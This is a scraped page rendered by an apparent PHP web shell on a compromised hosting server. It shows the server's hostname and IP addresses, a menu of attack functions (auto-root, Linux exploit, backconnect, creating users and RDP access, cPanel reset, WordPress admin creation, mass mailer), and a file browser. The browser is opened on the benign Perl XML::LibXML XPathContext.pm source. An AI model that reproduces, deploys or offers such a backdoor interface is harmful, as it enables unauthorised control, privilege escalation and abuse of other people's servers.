Linux server220.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
: 198.54.116.164 | : 216.73.216.27
Cant Read [ /etc/named.conf ]
7.4.33
adnangch
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
lib64 /
perl5 /
XML /
LibXML /
[ HOME SHELL ]
Name
Size
Permission
Action
SAX
[ DIR ]
drwxr-xr-x
Attr.pod
4.02
KB
-r--r--r--
AttributeHash.pm
4.49
KB
-r--r--r--
Boolean.pm
1.56
KB
-r--r--r--
CDATASection.pod
1.28
KB
-r--r--r--
Comment.pod
1.36
KB
-r--r--r--
Common.pm
8.2
KB
-r--r--r--
Common.pod
3.59
KB
-r--r--r--
DOM.pod
6.23
KB
-r--r--r--
Devel.pm
4.91
KB
-r--r--r--
Document.pod
21.09
KB
-r--r--r--
DocumentFragment.pod
819
B
-r--r--r--
Dtd.pod
1.99
KB
-r--r--r--
Element.pod
13.48
KB
-r--r--r--
ErrNo.pm
27.83
KB
-r--r--r--
ErrNo.pod
591
B
-r--r--r--
Error.pm
8.45
KB
-r--r--r--
Error.pod
5.98
KB
-r--r--r--
InputCallback.pod
9.59
KB
-r--r--r--
Literal.pm
2.04
KB
-r--r--r--
Namespace.pod
3.28
KB
-r--r--r--
Node.pod
25.67
KB
-r--r--r--
NodeList.pm
7.31
KB
-r--r--r--
Number.pm
1.87
KB
-r--r--r--
PI.pod
2.22
KB
-r--r--r--
Parser.pod
27.79
KB
-r--r--r--
Pattern.pod
2.91
KB
-r--r--r--
Reader.pm
5.75
KB
-r--r--r--
Reader.pod
17.6
KB
-r--r--r--
RegExp.pod
1.54
KB
-r--r--r--
RelaxNG.pod
2.34
KB
-r--r--r--
SAX.pm
3.45
KB
-r--r--r--
SAX.pod
1.76
KB
-r--r--r--
Schema.pod
2.19
KB
-r--r--r--
Text.pod
5.47
KB
-r--r--r--
XPathContext.pm
3.15
KB
-r--r--r--
XPathContext.pod
11.49
KB
-r--r--r--
XPathExpression.pod
1.64
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : XPathContext.pm
# $Id: XPathContext.pm 422 2002-11-08 17:10:30Z phish $ # # This is free software, you may use it and distribute it under the same terms as # Perl itself. # # Copyright 2001-2003 AxKit.com Ltd., 2002-2006 Christian Glahn, 2006-2009 Petr Pajas # # package XML::LibXML::XPathContext; use strict; use warnings; use vars qw($VERSION @ISA $USE_LIBXML_DATA_TYPES); use Carp; use XML::LibXML; use XML::LibXML::NodeList; $VERSION = "2.0210"; # VERSION TEMPLATE: DO NOT CHANGE # should LibXML XPath data types be used for simple objects # when passing parameters to extension functions (default: no) $USE_LIBXML_DATA_TYPES = 0; sub CLONE_SKIP { 1 } sub findnodes { my ($self, $xpath, $node) = @_; my @nodes = $self->_guarded_find_call('_findnodes', $node, $xpath); if (wantarray) { return @nodes; } else { return XML::LibXML::NodeList->new(@nodes); } } sub find { my ($self, $xpath, $node) = @_; my ($type, @params) = $self->_guarded_find_call('_find', $node, $xpath,0); if ($type) { return $type->new(@params); } return undef; } sub exists { my ($self, $xpath, $node) = @_; my (undef, $value) = $self->_guarded_find_call('_find', $node, $xpath,1); return $value; } sub findvalue { my $self = shift; return $self->find(@_)->to_literal->value; } sub _guarded_find_call { my ($self, $method, $node)=(shift,shift,shift); my $prev_node; if (ref($node)) { $prev_node = $self->getContextNode(); $self->setContextNode($node); } my @ret; eval { @ret = $self->$method(@_); }; $self->_free_node_pool; $self->setContextNode($prev_node) if ref($node); if ($@) { my $err = $@; chomp $err; croak $err; } return @ret; } sub registerFunction { my ($self, $name, $sub) = @_; $self->registerFunctionNS($name, undef, $sub); return; } sub unregisterNs { my ($self, $prefix) = @_; $self->registerNs($prefix, undef); return; } sub unregisterFunction { my ($self, $name) = @_; $self->registerFunctionNS($name, undef, undef); return; } sub unregisterFunctionNS { my ($self, $name, $ns) = @_; $self->registerFunctionNS($name, $ns, undef); return; } sub unregisterVarLookupFunc { my ($self) = @_; $self->registerVarLookupFunc(undef, undef); return; } # extension function perl dispatcher # borrowed from XML::LibXSLT sub _perl_dispatcher { my $func = shift; my @params = @_; my @perlParams; my $i = 0; while (@params) { my $type = shift(@params); if ($type eq 'XML::LibXML::Literal' or $type eq 'XML::LibXML::Number' or $type eq 'XML::LibXML::Boolean') { my $val = shift(@params); unshift(@perlParams, $USE_LIBXML_DATA_TYPES ? $type->new($val) : $val); } elsif ($type eq 'XML::LibXML::NodeList') { my $node_count = shift(@params); unshift(@perlParams, $type->new(splice(@params, 0, $node_count))); } } $func = "main::$func" unless ref($func) || $func =~ /(.+)::/; no strict 'refs'; my $res = $func->(@perlParams); return $res; } 1;
Close